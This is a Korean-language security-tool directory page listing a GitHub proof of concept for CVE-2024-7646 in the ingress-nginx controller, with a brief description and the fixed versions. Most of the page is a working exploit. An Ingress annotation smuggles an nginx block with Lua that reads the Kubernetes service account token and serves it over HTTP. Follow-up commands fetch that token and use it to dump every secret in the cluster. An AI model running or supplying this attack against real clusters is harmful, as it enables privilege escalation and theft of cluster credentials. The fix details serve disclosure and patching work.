Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2024-7646 — PoC CVE-2024-7646 | Kitploit
도구/GitHubGitHub/dovics/cve-2024-7646
Container SecurityVulnerability AnalysisExploitationWeb SecurityCloud SecurityMisconfiguration
GitHubdovics/cve-2024-7646

cve-2024-7646

PoC CVE-2024-7646

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-7646

설명

기본적으로 nginx.ingress.kubernetes.io/server-snippet은 비활성화되어 있지만, 이 CVE로 인해 nginx.ingress.kubernetes.io/auth-tls-verify-client를 통해 사용자 지정 스니펫을 삽입하거나 Lua 코드까지 포함할 수 있습니다.

수정 버전

ingress-nginx controller v1.11.2 - kubernetes/ingress-nginx#11719 및 kubernetes/ingress-nginx#11721로 수정됨 ingress-nginx controller v1.10.4 - kubernetes/ingress-nginx#11718 및 kubernetes/ingress-nginx#11722로 수정됨

PoC

Ingress를 생성할 권한이 필요합니다

root@kitploit:~
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
    nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
  rules:
    - host: test.ingress.io
      http:
        paths:
          - pathType: Prefix
            path: /test
            backend:
              service:
                name: test-service
                port:
                  number: 8080
EOF

기본 구성에서 해당 자격 증명은 클러스터의 모든 시크릿에 접근할 수 있습니다.

root@kitploit:~
TOKEN=$(curl 127.0.0.1:8080/token  -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml
도구 다운로드